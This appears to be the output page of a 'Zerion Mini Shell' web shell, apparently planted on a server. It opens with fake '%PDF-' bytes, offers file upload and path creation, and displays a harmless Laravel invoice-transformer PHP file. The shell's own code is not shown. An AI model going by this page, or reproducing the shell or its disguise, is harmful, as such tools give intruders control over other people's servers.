%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/management/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/management/app/Transformers/InvoiceTransformer.php

<?php

namespace App\Transformers;

use App\Models\Invoice;
use Carbon\Carbon;

class InvoiceTransformer extends BaseTransformer
{
    /**
     * @param Invoice $invoice
     * @return array
     */
    public function transform(Invoice $invoice)
    {
        return [
            'date'  => Carbon::parse($invoice->created_at)->toIso8601String(),
            'total' => (int)$invoice->total,
        ];
    }
}

Zerion Mini Shell 1.0